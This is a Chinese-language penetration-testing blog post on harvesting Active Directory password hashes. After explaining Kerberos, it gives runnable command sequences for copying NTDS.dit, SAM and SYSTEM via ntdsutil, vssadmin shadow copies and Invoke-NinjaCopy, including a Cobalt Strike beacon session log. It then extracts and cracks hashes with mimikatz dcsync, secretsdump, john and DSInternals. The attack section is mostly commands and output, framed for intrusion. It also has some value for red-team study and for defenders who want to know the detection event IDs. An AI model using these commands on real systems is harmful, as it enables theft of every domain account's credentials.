域环境密码凭证获取

image-20240227010622019

windwos域认证

包括三个方面

本地认证:用户直接操作计算机登录账户
网络认证:远程连接到工作组中的某个设备
域认证:登陆到域环境中的某个设备

域内认证即采用了 Kerberos 协议的认证机制,与前两者相比最大的区别是有一个可信的第三方机构 KDC(主要是域控) 的参与

活动目录

活动目录:Active Diretory,AD,是指域环境中提供目录服务的组件。目录用于存储有关网络对象(例 如用户、组、共享资源计算机、、打印机和联系人等)的信息。能够快速、准确的从目录中找到其所需的信息的服务,为企业提供了网络环境集中式管理的机制。

活动目录主要的功能:

账号集中管理:所有的账户都存储在服务器中,可以方便快捷的执行命令和管理密码等。
软件集中管理:能够统一推送软件,安装网络打印机等服务器
环境集中管理:统一客户端桌面、IE等
增强安全性:统一部署杀软,统一执行病毒扫描任务、集中管理用户的计算机权限,统一指定密码 策略。
更加的可靠更短的宕机时间

Kerberos协议简介

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为 客户机/服务器 应用程序提供强大的 认证服务。
该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密 钥)执行认证服务的。

参与域认证的三个角色

  • 访问服务的client

  • 提供服务的server

  • KDC密钥分发中心

    在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。

Kerberos认证协议基础

  • 票据(Ticket)

是网络对象互相访问的凭证。

  • AD(Account Database)

    存储域中所有用户的用户名和对应的 NTLM Hash,可以理解为域中的SAM数据库,KDC 可以从AD中 提取域中所有用户的 NTLM Hash,这是Kerberos 协议能够成功实现的基础。

    这个ad不一样,这个是数据库,存储了所有用户的hash

  • KDC(Key Distribution Center)

    密钥分发中心,负责管理票据、认证票据、分发票据,里面包含两个服务:AS 和 TGS

    KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+ AS(Authenication Service)+ TGS(Ticket Granting Service)

    关系的等于,不是数字的等于。这个的意思就是说kdc就是域控

    从物理层面看,AD 与 AS,TGS,KDC均为域控制器(Domain Controller)

  • AS(Authentication Server)

身份认证服务,为 Client 生成 TGT 的服务,也用来完成对 Client 的身份验证

  • TGS(Ticket Granting Server)

    票据授予服务,为Client生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来 TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访 问对应的服务,该服务提供的票据也称为 TGS 或者叫白银票据

  • TGT(Ticket Granting Ticket)

看英文名就知道,用来生成 Ticket 的 Ticket,由身份认证服务授予的票据(黄金票据),用于身份认 证,存储在内存,默认有效期为10小时

注意:

Client 密钥、TGS 密钥 和 Service 密钥 均为对应用户的 NTLM Hash TGS密钥 == KDC Hash == krbtgt 用户的 NTLM Hash Server 和 Service 可以当作一个东西,就是 Client 想要访问的服务器或者服务

Client/(TGS/Server) Sessionkey 可以看作客户端与 TGS 服务和尝试登陆的 Server 之间会话时 用来加密的密钥,而(Client/TGS/Service) 密钥(上面提到的三个实际为 NTLM Hash 的密钥)是用 来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密

参与认证的三个角色的 NTLM Hash 是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥 Sessionkey 的安全传输

Kerbreros认证流程

Client向KDC发起服务请求,希望获取访问Server的权限。 KDC得到了这个消息,首先得判断Client是 否是可信赖的,也就是从AD数据库中寻找该用户是否可用来登录。这就是AS服务完成的工作,成功后,AS返回TGT给Client。

Client得到了TGT后,继续向KDC请求,希望获取访问Server的权限。KDC又得到了这个消息,这时候 通过Client 消息中的TGT,判断出了Client拥有了这个权限,给了Client访问Server的权限Ticket。(TGS服务的任务)

Client得到Ticket后便可以使用这个Ticket成功访问Server。但是这个Ticket只能用来访问这个Server, 如果要访问其他Server需要向KDC重新申请。

image-20240121102113692

用户登录

image-20240121102209699

用户输入密码进行NTLM Hash之后作为client的密钥

请求身份认证

客户端向AS(身份认证服务)发送认证请求

image-20240121102442135

客户端向AS发送认证请求,请求中带有明文的 [用户名] 信息 (这个时候还没有发送密码,密钥)

AS确认Client端登录者用户身份

image-20240121102545161

  1. AS收到用户认证请求之后,根据请求中的 用户名 信息,从数据库中查找该用户名是否存在。

  2. 如果 用户名 存在,则根据该用户名提取 NTLM Hash 做为AS生成的CLIENT 密钥,如果第1步中用户 提供的 密码 信息正确,该秘钥与用户登录中的 CLIENT密钥 是相等的。

  3. AS为Client响应如下消息:

  • Msg A 使用 KDC 生成的 CLIENT密钥 加密的 CLIENT/TGS SESSIONKEY
  • Msg B 使用 TGS 密钥 加密的 TGT(TICKET-GRANTING-TICKET),客户端没有 KDC NTLM Hash 因此 Client 无法解密 TGT 。 TGT中包含如下信息: [Client/TGS SessionKey] Client ID
  • Ticket有效时间
  • CLient 地址
  1. Client收到AS的响应消息以后,利用自身的 CLIENT 密钥 可以对 Msg A进行解密,这样可以获取到 CLIENT/TGS SESSIONKEY 。但由于Msg B是使用 TGS 密钥 加密的,Client 无法对其解密。

image-20240121110111750

AS响应的消息中有一条是属于Client的,但另外一条却属于TGS。 Client/TGS SessionKey 出现了两个Copy,一个给Client端,一个给TGS端。 认证过程中的加密除哈希外均采用的是对称加密算法。

请求服务授权

客户端向TGS发送请求服务授权请求

image-20240121110141817

客户端发送的请求中包含如下两个消息:

Msg C 要请求的服务ID, 即 [Service ID] 上一步2.2中由AS为 Client 提供的TGT。

Msg D 使用 CLIENT/TGS SESSIONKEY 加密的 Authenticator 1 {Client ID, Timestamp}。

image-20240121110241407

KDC接收到TGT与其他内容后,会首先使用KDC 的 NTLM Hash解密TGT,只有KDC可以解密TGT,从 TGT中提取到 CLIENT/TGS SESSIONKEY ,再使用 CLIENT/TGS SESSIONKEY 解密Authenticator 1,获取到 {Client ID, Timestamp} 并与通过解密TGT获取到的{Client ID, 有效时间}进行对 比

TGS为Client响应服务授权票据

image-20240121110335963

graph TB
	
subgraph KDC
	AS === TGS
	end
	
subgraph AS_result
	AS_ret
	if1
	TGT
	end
	
subgraph TGS_result
	TGS_ret
	if2
	end

subgraph server_result
	ser_ret
	end

client ==用户name+password+请求时间+票据有效时间+时间戳by用户的NTML===> AS

AS ==接收到信息===AS_ret(使用用户名字查找NTDS是否存在这个用户)
AS_ret ==不存在用户===> 认证失败 
AS_ret ==存在用户===> if1(读出NTML_hash,使用这个hash解密得到时间戳,对比票据有效时间)
if1 ==超过时间===> 认证失败
if1 ==未超过时间===> TGT(生成TGT,TGT包括*login_session_key,用户名,认证时间,过期时间*,使用用户的NTMLhash加密login_session_key)
AS ==TGT_by_bertgt_NTML+加密的login_session_key+others===>client

client==接收到as===使用自己的NTML解密得到login_session_key
client==请求时间+票据有效时间+时间戳by用户的NTML+TGT===>TGS

TGS=====TGS_ret(使用kertgt_hash解密得到存活时间和login_session_key,利用login_session_key解密得到时间戳)
TGS_ret==时间超时,或者不能解出时间戳===>认证失败
TGS_ret==login_session_key能解出时间戳+不超过时间===>if2(生成tiket包含*server_session_key,过期时间,生成时间*,使用server_session_key加密时间戳)
TGS==tiket_bt_server_NTML+server_session_key_by_login_session_key+others==>client

client==接收到TGS==>使用login_session_key得到server_session_key,通过server_session_key加密时间戳
client==tiket+时间戳by_server_session_key==>server

server==同理能获取时间,并且准确==>ser_ret(认证成功,访问服务)
server==不能解出时间,或者时间不正确===>认证失败


image-20240227010209839

活动目录数据库

Active Directory 域服务AD DS 数据存储:

  • 由 NTDS.DIT 文件构成,是Active Directory的核心
  • 默认存储在域控的 %SystemRoot%\ntds\ 文件夹下
  • 只能通过域控制器进程和协议访问

活动目录数据库 NTDS.DIT:NTDS.DIT是主要的AD数据库,包括有关域用户,组和组成员身份的信 息。它还包括域中所有用户的密码哈希值。

这个文件对于内网渗透来说非常非常的重要

在工作组环境中,SAM文件存储着当前主机用户的密码哈希值

在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值

如果有这两个文件我们就可以获取到存储的密码的hash值

Windows系统为了进一步保护存储的密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。

因此想要破解SAM文件与NTDS.DIT文件都需要获取一个SYSTEM文件

NTDS.DIT文件位置:%SystemRoot%\NTDS\NTDS.dit(C:\Windows\NTDS\NTDS.dit)

SYSTEM文件位置: %SystemRoot%\System32\config\SYSTEM(C:\Windows\System32\config\SYSTEM )

SAM文件位置: %SystemRoot%\System32\config\SAM(C:\Windows\System32\config\SAM)

由于Window会阻止对这些文件的标准读取或复制操作,如果直接去复制NTDS.DIT文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。

Volume Shadow Copy

Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建 一致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件 都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。

  • 这个微软提供的服务可以解除NTDS.DIT一直占用的状态,然后将其以生成快照的方式获取到

  • 用于数据备份 支持 Windows Server 2003 及以上操作系统

  • 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备 份,该时间无法确定

  • 禁用 VSS 会影响系统正常使用,如 System Restore 和 Windows Server Backup

    我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。

    注意:

  1. 调用 Volume Shadow Copy 服务会产生SYSTEM日志,Event ID 为7036。
  2. 执行 ntdsutil snapshot “activate instance ntds” create quit quit 会额外产生 Event ID 为 98 的日志

Ntdsutil

Ntdsutil.exe 是一个命令行工具,它为 Active Directory 域服务 (AD DS) 和 Active Directory轻型目录服务 (AD LDS) 提供管理工具。您可以使用ntdsutil命令执行 AD DS 的数据库维 护,管理和控制单个主机操作,并删除域控制器留下的元数据,这些域控制器在未正确卸载的情况下 从网络中删除

域环境默认安装,要使用 Ntdsutil.exe,必须从管理员命令提示符运行

如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色,则可以使用 dsdbutil.exe 和 dsmgmt.exe 命令行工具来执行可以使用 ntdsutil.exe 执行的相同任务。

创建快照 ,从而获取到NTDS.DIT的备份

使用方法

方法一

使用管理员打开cmd,必须是cmd,powershell无法完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 进入ntdsutil命令行
ntdsutil

# 进入快照
snapshot

# 激活 AD DS 实例
activate instance ntds

create
mount [GUID]
copy C:\$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit

# copy 完之后再执行
unmount [GUID]
del [GUID]

然后就可以目录访问

image-20240121115816244

image-20240121115859064

image-20240121120139033

方法二

在进入ntdsutil之后

1
2
3
4
5
6
7
8
#激活 AD DS 实例
activate instance ntds

#为可写(full)和只读域控制器 (RODC) 和 AD LDS 实例创建安装介质。
ifm

#为可写 Active Directory 域控制器或 AD LDS 实例创建安装介质到指定文件夹中
create full <Drive>:\<Folder>

方法三(非交互式)

1
2
3
4
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

查询当前系统的快照

1
2
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

创建快照

1
ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照

1
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

复制ntds.dit

1
2
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
copy C:\$SNAP_202008271744_VOLUMEC$\windows\system32\config\SYSTEM c:\SYSTEM

卸载快照

1
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

删除快照

1
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

Vssadmin

vssadmin:卷影复制服务管理命令行工具 域环境默认安装

  1. 查询当前系统的快照
1
vssadmin list shadows

image-20240121121449922

  1. 创建快照

    1
    vssadmin create shadow /for=c:

    获得Shadow Copy Volume Name为\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

  2. 访问快照中的文件

    查看快照列表:

1
vssadmin list shadows
 无法直接访问 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件可通过创建符号链接访问快照中的文件:
1
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
 删除符号链接:  
1
rd c:\testvsc
  1. 复制ntds.dit

    如果不想使用个链接的方式,就可以使用这个方法

    1
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds3.dit
  2. 删除快照

1
vssadmin delete shadows /for=c: /quiet

NinjaCopy

使用 PowerShell 复制 NTDS.dit / Registry Hives,绕过 SACL/ DACL / File Locks

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke- NinjaCopy.ps1

1
2
3
4
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"

image-20240121123126491

cs内存加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[*] Tasked beacon to import: C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[+] host called home, sent: 206740 bytes

beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
[+] host called home, sent: 493 bytes

beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
[+] host called home, sent: 509 bytes

beacon> powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
[*] Tasked beacon to run: Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
[+] host called home, sent: 481 bytes

解密得到hash

在线破解

在线破解,不用将域控上的ntds.dit文件下载下来,直接在已有的shell上破解。

有一个Cobaltstrike弹回的beacon,就可以在beacon中直接利用mimikatz来破解,前提是要有管理员权限

有一个 Meterpreter Shell ,可以在Session会话中加载kiwi模块,直接在目标主机进行密码凭证获取

Mimikatz有一个功能dcsync,它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。

1
mimikatz lsadump::dcsync /domain:mingy.com /all /csv

查看单个用户的详细信息

1
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt

查看所有用户的详细信息

1
mimikatz lsadump::lsa /inject

离线破解

离线破解一般需要两步,首先就是将远端域控的ntds.dit下载到本地,然后再在本地进行破解。 ntds.dit文件一直在被windows系统使用,所以常规的复制下载方法是无法将文件下载到本地的。首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。

SecretsDump

1
2
3
4
5
6
7
8
# sam
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL

# ntds.dit
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

# kali中可以使用impacket-secretsdump命令
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL

image-20240121124727833

john 解密hash

需要将hash放入1 文件

1
john 1 --format=NT

NT代表NTML

DSInternals

DSInternals PowerShell模块提供了构建在框架之上的易于使用的cmdlet。主要功能包括离线 ntds.dit文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。

1
2
3
4
5
6
7
8
# 导入DSInternals模块
Import-Module DSInternals

# 获取System bootkey
$key = Get-Bootkey -SystemHivePath 'C:\SYSTEM'

# 获取所有账户信息
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key

导出hashcat

1
2
3
$key = Get-Bootkey -SystemHivePath 'C:\SYSTEM'

Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt

域环境密码凭证获取
https://tsy244.github.io/2024/01/15/渗透/域环境密码凭证获取/
Author
August Rosenberg
Posted on
January 15, 2024
Licensed under